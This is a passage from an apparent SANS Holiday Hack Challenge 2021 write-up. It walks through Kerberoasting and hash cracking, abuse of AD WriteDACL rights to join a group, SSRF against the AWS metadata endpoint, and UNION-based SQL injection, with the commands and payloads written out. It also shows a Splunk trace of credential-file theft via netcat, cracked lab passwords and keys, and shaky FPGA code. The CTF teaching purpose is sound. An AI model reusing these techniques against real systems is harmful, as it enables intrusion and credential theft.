172.17.0.5               ether   02:42:ac:11:00:05   C                     eth0
172.17.0.3               ether   02:42:ac:11:00:03   C                     eth0

Find Hostname

PS /home/axhhzvqhmn> hostname
grades.elfu.local

Get Domain

PS /home/dytjcpwleg> ping elfu.local
PING elfu.local (10.128.1.53) 56(84) bytes of data.
64 bytes from hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53): icmp_seq=1 ttl=127 time=1.06 ms
64 bytes from hhc21-windows-dc.c.holidayhack2021.internal (10.128.1.53): icmp_seq=2 ttl=127 time=0.252 ms

List Shares

PS /home/biuebrxvlk> smbclient -L \\172.17.0.4
Enter WORKGROUP\biuebrxvlk's password:

        Sharename       Type      Comment
        ---------       ----      -------
        ElfUFiles       Disk
        IPC$            IPC       IPC Service (Remote IPC)
SMB1 disabled -- no workgroup available

Get SPNs

Great hints for this challenge about gathering Kerberoastable SPNs.

PS /home/dytjcpwleg> python3 ./GetUserSPNs.py -dc-ip 10.128.1.53 -request elfu.local/dytjcpwleg
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Password:
ServicePrincipalName                 Name      MemberOf  PasswordLastSet             LastLogon  Delegation
-----------------------------------  --------  --------  --------------------------  ---------  ----------
ldap/elfu_svc/elfu                   elfu_svc            2021-10-29 19:25:04.305279  <never>
ldap/elfu_svc/elfu.local             elfu_svc            2021-10-29 19:25:04.305279  <never>
ldap/elfu_svc.elfu.local/elfu        elfu_svc            2021-10-29 19:25:04.305279  <never>
ldap/elfu_svc.elfu.local/elfu.local  elfu_svc            2021-10-29 19:25:04.305279  <never>



$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$ae71e1e7d786f66e25a25978f7e03d58$641f15cb66953c...

Generate List

We have a password hash so lets craft a potential password list using another hint which is CeWL. Takes the content from a provided webpage and generates a wordlist. At first, I missed the need include words with numbers via the --with-numbers switch. This is so that we include passwords such as the dreaded Frost2022. Surely, it wouldn't be that easy.

โ””โ”€$ docker run -it --rm cewl https://register.elfu.org/register --with-numbers
CeWL 5.5.2 (Grouping) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
domain
the
...
cookiepella
asnow2021
v0calprezents
Hexatonics
reindeers4fears
Wow
good
times

Cracked!

Now, I used this list in Hashcat to crack the hash. The key here is to use the rule file OneRuleToRuleThemAll.rule as provided in the hint. This alters the password list for more potential matches. Capitalize first letter, add numbers to the end, etc. etc.

hashcat-legacy/hashcat-6.2.5/hashcat.bin -m 13100 -a 0 spn.txt --force -O -w 4 -r OneRuleToRuleThemAll.rule elflist.txt --show
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$0fbc8371d2b24b9f835e60ffeaa96760$878d75...:Snow2021!

Wow...it was that easy. Snow2021!

Check Shares

With the new creds, I can list available shares.

PS /home/dytjcpwleg> smbclient -L \\172.17.0.3 -U elfu_svc
Enter WORKGROUP\elfu_svc's password:

        Sharename       Type      Comment
        ---------       ----      -------
        netlogon        Disk
        sysvol          Disk
        elfu_svc_shr    Disk      elfu_svc_shr
        research_dep    Disk      research_dep
        IPC$            IPC       IPC Service (Samba 4.3.11-Ubuntu)

Based on our objective, I have a feeling the research_dep is the end goal. However, still can't access it.

Download All files

The elfu_svc user does have access to the elfu_svc_shr, so I downloaded all files locally for review.

PS /home/dytjcpwleg/share> smbclient \\172.17.0.3\elfu_svc_shr -U elfu_svc Snow2021!
prompt OFF
mget *

Search for Password

With them local, I searched for any matches to elf, which I assumed would be a username.

PS /home/dytjcpwleg/share> grep elf *
AppHandling.ps1:        New-SelfSignedCertificate โ€“Type CodeSigningCert โ€“Subject โ€œCN=FreddyKโ€ | Export-PfxCertificate -FilePath $certFile -Password $Credential.Password
GetProcessInfo.ps1:$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
New-NavContainer.ps1:  Include this switch if you want to use SSL (https) with a self-signed certificate
New-NavContainer.ps1:  Include this switch if you want to use SSL (https) with a self-signed certificate
New-NavContainer.ps1:                Write-Host -ForegroundColor Red "WARNING: '$containername' is in the HSTS preload list. You cannot use the container unless you use SSL and a trusted certificate.`nAdd -useSSL and -installCertificateOnHost to use a self signed certificate and install it in trusted root certifications on the host."
StoreIngestionApplicationApi.ps1:        for self-installing app updates.
StoreIngestionApplicationApi.ps1:        for self-installing app updates.
StoreIngestionFlightingApi.ps1:        and Selfhost Insiders).  The console window showing progress while awaiting the response
StoreIngestionFlightingApi.ps1:        and Selfhost Insiders).  The request happens in the foreground and there is no additional
StoreIngestionFlightingApi.ps1:        for self-installing app updates.
StoreIngestionFlightingApi.ps1:        for self-installing app updates.

Ah! We can see there are some credentials being set in a GetProcessInfo.ps1 file.

PS /home/dytjcpwleg/share> cat ./GetProcessInfo.ps1
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"

$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate

GetCred

Sure enough, hardcoded credentials. The good thing was they used "Secure Strings". The bad thing is...they aren't very secure if the user's credentials are compromised as it uses DPAPI to encrypt the string. Decryption is trivial.

$aCred.GetNetworkCredential().password
A1d655f7f5d98b10!

Connect to DC

Now, its time to connect to that DC.

PS /home/dytjcpwleg/share> $cred = get-credential

PowerShell credential request
Enter your credentials.
User: elfu.local\remote_elf
Password for user elfu.local\remote_elf: *****************

PS /home/dytjcpwleg/share> Enter-PSSession -ComputerName 10.128.1.53 -Authentication Negotiate -Credential $cred
[10.128.1.53]: PS C:\Users\remote_elf\Documents>

Get AD Groups

Lets see what AD groups are out there.

[10.128.1.53]: PS C:\Users\remote_elf\Documents> get-adgroup | ft

cmdlet Get-ADGroup at command pipeline position 1
Supply values for the following parameters:
(Type !? for Help.)
Filter: *

DistinguishedName                                                    GroupCategory  GroupScope Name                                    ObjectClass ObjectGUID                           SamAccountName
-----------------                                                    -------------  ---------- ----                                    ----------- ----------                           --------------
CN=Administrators,CN=Builtin,DC=elfu,DC=local                             Security DomainLocal Administrators                          group       61a2812b-6bb3-46e1-9f3d-b160648771a7 Administrators
CN=Research Department,CN=Users,DC=elfu,DC=local                          Security      Global Research Department                     group       8dd5ece3-bdc8-4d02-9356-df01fb0e5f3d ResearchDepartment
CN=File Shares,CN=Computers,DC=elfu,DC=local                              Security      Global File Shares                             group       46595df3-e36a-4c0e-b00f-77e44564c353 File Shares

Found my target! CN=Research Department,CN=Users,DC=elfu,DC=local. I am sure this has access to that research_dep share we saw earlier.

Get ACL on This group

Running the script provided as a hint to see what access we have on this group.

$ADSI = [ADSI]"LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$ADSI.psbase.ObjectSecurity.GetAccessRules($true,$true,[Security.Principal.NTAccount]) | ? {$_.ActiveDirectoryRights -match 'WriteDACL'}


ActiveDirectoryRights : WriteDacl
InheritanceType       : None
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : ELFU\remote_elf
IsInherited           : False
InheritanceFlags      : None
PropagationFlags      : None

ActiveDirectoryRights : CreateChild, Self, WriteProperty, ExtendedRight, Delete, GenericRead, WriteDacl, WriteOwner
InheritanceType       : All
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : BUILTIN\Administrators
IsInherited           : True
InheritanceFlags      : ContainerInherit
PropagationFlags      : None

Grant GenericALL

We can writeDacl so lets add GenericALL for further modifications.

Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "dytjcpwleg"
$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
$propGUID = [guid]'00000000-0000-0000-0000-000000000000'
$IdentityReference = (New-Object System.Security.Principal.NTAccount("elfu.local\$username")).Translate([System.Security.Principal.SecurityIdentifier])
$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"), ([System.Security.AccessControl.AccessControlType] "Allow"), $propGUID, $inheritanceType, $nullGUID
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$secOptions = $domainDirEntry.get_Options()
$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
$domainDirEntry.RefreshCache()
$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()

Add to group

Now that we have full control over the group, lets add our intiial user to the group.

Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "dytjcpwleg"
$password = "Avueqfeyb@"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])
$b=New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID=[BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.dispose()

Connect to Research Share

Back in the SSH session, I connect up to the SMB share.

PS /home/dytjcpwleg> smbclient \\172.17.0.3\research_dep -U elfu.local\dytjcpwleg

smb: \> dir
  .                                   D        0  Thu Dec  2 16:39:42 2021
  ..                                  D        0  Fri Dec 17 16:59:50 2021
  SantaSecretToAWonderfulHolidaySeason.pdf      N   173932  Thu Dec  2 16:38:26 2021

                41089256 blocks of size 1024. 34649864 blocks available
smb: \> get SantaSecretToAWonderfulHolidaySeason.pdf
getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf (84923.6 KiloBytes/sec) (average 84927.7 KiloBytes/sec)
smb: \> exit

There is the file we are after!

Copy File to Local

Now, the tricky part, getting a copy on the local machine for review.

I decided to convert to base64, copy the text, and save to a file locally.

base64 -w0 < cat SantaSecretToAWonderfulHolidaySeason.pdf

SantaSecretToAWonderfulHolidaySeason.pdf

Answer

Answer

Kindness

9) Splunk!

Difficulty: ๐ŸŽ„๐ŸŽ„๐ŸŽ„

Question

Help Angel Candysalt solve the Splunk challenge in Santa's great hall. Fitzy Shortstack is in Santa's lobby, and he knows a few things about Splunk. What does Santa call you when when you complete the analysis?

Hints

Name (Fitzy Shortstack)
"Sysmon network events don't reveal the process parent ID for example. Fortunately, we can pivot with a query to investigate process creation events once you get a process ID."
Name (Fitzy Shortstack)
"Between GitHub audit log and webhook event recording, you can monitor all activity in a repository, including common git commands such as git add, git status, and git commit."
Name (Fitzy Shortstack)
"Did you know there are multiple versions of the Netcat command that can be used maliciously? nc.openbsd, for example."

Solution

Using the samples from the elves, here are the queries used to work through the Splunk interface.

1

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational User=eddie| top limit=20 CommandLine

git status

2

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational User=eddie CommandLine=git*partnerapi* | fields CommandLine

git@github.com:elfnp3/partnerapi.git

3

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 CommandLine="docker compose*" User=eddie  CurrentDirectory="/home/eddie/partnerapi" | fields CommandLine,CurrentDirectory

docker compose up

4

index=main sourcetype=github_json  "alert.rule.name"="*"| top limit=20 "repository.svn_url"

https://github.com/elfnp3/dvws-node

forked from

https://github.com/snoopysecurity/dvws-node

5

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational CommandLine="*npm install*" CurrentDirectory="/home/eddie/partnerapi"

node /usr/bin/npm install holiday-utils-js
index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443) NOT process_name="/usr/bin/git"

/usr/bin/nc.openbsd

6

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 user=eddie parent_process_id=6788 ProcessID=686

cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts

6

7

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1 User=eddie ProcessId=6783

preinstall.sh

Answer

Answer

whiz

10) Now Hiring!

Difficulty: ๐ŸŽ„๐ŸŽ„๐ŸŽ„

Question

What is the secret access key for the [Jack Frost Tower job applications server](https://apply.jackfrosttower.com/? Brave the perils of Jack's bathroom to get hints from Noxious O. D'or.

Hints

Name (Noxious O. D'or)
"The AWS documentation for IMDS is interesting reading."

Solution

After reading the hints I know this is going to be an attempt to obtain information about the AWS instance via the meta-data endpoints only accessible by the instance. Since the only way we can utilize this endpoint is via the instance host, we need to force it to send the request on our behalf.

On the https://apply.jackfrosttower.com/?p=apply we can see there is a place to submit a URL.

Further inspection shows we can modify this with a URL parameter. I tried to hit the following endpoint: http://169.254.169.254/latest/meta-data/iam/security-credential with this request:

https://apply.jackfrosttower.com/?inputName=123&inputEmail=arnydo%2Bfrostapply%40pm.me&inputPhone=123-123-1231&inputField=Throwing+rocks+%28non-person+target%29&resumeFile=start.png&inputWorkSample=http://169.254.169.254/latest/meta-data/iam/security-credential&additionalInformation=&submit=

Tried forever on this! Finally determined that there were some server issues going on and I was not the only one. Oh well, lets try later.

Didnt work...lets Broot Phorce!!!!!

I noticed some JPG files started returning some odd data. So...

Generated some possible file names...

docker run -ti --rm cewl https://apply.jackfrosttower.com
the
Tower
Frost
...

Then, ran these through Burp Suite Intruder.

Found it! Not at all how intended but I found it.

{
  "Code": "Success",
  "LastUpdated": "2021-05-02T18:50:40Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
  "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
  "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
  "Expiration": "2026-05-02T18:50:40Z"
}

Answer

Answer

CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX

11) Customer Complaint Analysis

Difficulty: ๐ŸŽ„๐ŸŽ„

Question

A human has accessed the Jack Frost Tower network with a non-compliant host. [Which three trolls complained about the human](https://downloads.holidayhackchallenge.com/2021/jackfrosttower-network.zip? Enter the troll names in alphabetical order separated by spaces. Talk to Tinsel Upatree in the kitchen for hints.

Hints

Name (Tinsel Upatree)
"Different from BPF capture filters, Wireshark's display filters can find text with the contains keyword - and evil bits with ip.flags.rb."
Name (Tinsel Upatree)
"RFC3514 defines the usage of the "Evil Bit" in IPv4 headers."

Solution

Using the simeple Wireshark hints regarding filtering the packets, I came up with the following.

(urlencoded-form.key == "name" && ip.flags.rb==1) && (urlencoded-form.value matches "1024")

This filtered out the suspicious reports.

Answer

Answer

Flud Hagg Yaqh

12) Frost Tower Website Checkup

Difficulty: ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„

Question

Investigate Frost Tower's website for security issues. This source code will be useful in your analysis. In Jack Frost's TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa's dining room, may have some pointers for you.

Hints

Name (Ribb Bonbowford)
"When you have the source code, API documentation becomes tremendously valuable."

Solution

We are conveniently provided with the main server sourcecode. This was key to identifying the loophole we need to exploit. All of the endpoints require authentication to modify data or craft queries, except for one.

Entrypoint

The "postcontact" endpoint actually creates a session for us without authenticating.

app.post("postcontact");

sess.uniqueID = email;

Injection found

After testing some basic SQL injection techniques, the following was identified as vulnerable.

https://staging.jackfrosttower.com/detail/10,101,4,5,6,7,8%20LIMIT%202--

Found max order by

Next I needed to see how many columns there are so I can move to a UNION query to pull data from other tables.

https://staging.jackfrosttower.com/detail/10,101,4,5,6,7,8%20ORDER%20BY%207--

Find other tables

Now that we can inject data in to the page, I crafted a query to pull column names from all tables.

https://staging.jackfrosttower.com/detail/0,0 UNION SELECT * FROM (SELECT 1 FROM todo)a JOIN (SELECT column_name from information_schema.columns)b JOIN (SELECT 3 FROM todo)c JOIN (SELECT 4 FROM todo)d JOIN (SELECT 5 FROM todo)e JOIN (SELECT 6 FROM todo)f JOIN (SELECT  NULL)g --

The one we want is todo.

Get the todos

With the table identified, now I can pull the data.

https://staging.jackfrosttower.com/detail/0,0 UNION SELECT * FROM (SELECT 1 FROM todo)a JOIN (SELECT note from todo)b JOIN (SELECT 3 FROM todo)c JOIN (SELECT 4 FROM todo)d JOIN (SELECT 5 FROM todo)e JOIN (SELECT 6 FROM todo)f JOIN (SELECT  NULL)g --

Answer

Answer

clerk

13) FPGA Programming

Difficulty: ๐ŸŽ„๐ŸŽ„๐ŸŽ„๐ŸŽ„

Question

Write your first FPGA program to make a doll sing. You might get some suggestions from Grody Goiterson, near Jack's elevator.

Hints

Name (Grody Goiterson)
"Prof. Qwerty Petabyte is giving a lesson about Field Programmable Gate Arrays (FPGAs)."
Name (Grody Goiterson)
"There are FPGA enthusiast sites."

Solution

Following along very closely to the video demonstration and starting out with the sample code at https://numato.com/kb/generating-square-wave-using-fpga/ I managed to hack together the following code.

I wish I could explain exactly what is going on but I still can't wrap my head around it.

The static frequencies weren't that difficult to generate but the random ones were a different story. It took much work to arrange the code in a way to address the decimal numbers. The key was using the snippet shared in the welcome note by Prof. Q:

Good luck and always remember:

If $rtoi(real_no * 10) - ($rtoi(real_no) \* 10) > 4, add 1

The final code is:

// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
//              (0 - 9999.99Hz) formatted as follows:
//              32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);

    // Counter for toggling of clock
    real counter = 0;
    real n_freq = 0;
    real r_freq = 0;

    reg sq_wave_reg = 0;
    assign wave_out = sq_wave_reg;

 always @(posedge clk or posedge rst) begin

        r_freq <= freq;
        n_freq <= r_freq/10;

        if (rst) begin
            counter <= 0;
            sq_wave_reg  <= 0;
        end
        else begin
            counter <= $rtoi(((125000000/(n_freq/5))) - 1);
            if ($rtoi(r_freq * 10) - ($rtoi(r_freq) * 10) > 4) begin
                counter <= counter + 1;
            end
            else
             //   counter <= ((125000000/(n_freq/5))) - 1;
            if (counter == 0) begin
                sq_wave_reg <= ~sq_wave_reg;
            end

            // Else count down
            else
                counter <= counter - 1;
            end
        end

endmodule

Answer

Answer

// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
//              (0 - 9999.99Hz) formatted as follows:
//              32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);

    // Counter for toggling of clock
    real counter = 0;
    real n_freq = 0;
    real r_freq = 0;

    reg sq_wave_reg = 0;
    assign wave_out = sq_wave_reg;

always @(posedge clk or posedge rst) begin

        r_freq <= freq;
        n_freq <= r_freq/10;

        if (rst) begin
            counter <= 0;
            sq_wave_reg  <= 0;
        end
        else begin
            counter <= $rtoi(((125000000/(n_freq/5))) - 1);
            if ($rtoi(r_freq * 10) - ($rtoi(r_freq) * 10) > 4) begin
                counter <= counter + 1;
            end
            else
            //   counter <= ((125000000/(n_freq/5))) - 1;
            if (counter == 0) begin
                sq_wave_reg <= ~sq_wave_reg;
            end

            // Else count down
            else
                counter <= counter - 1;
            end
        end

endmodule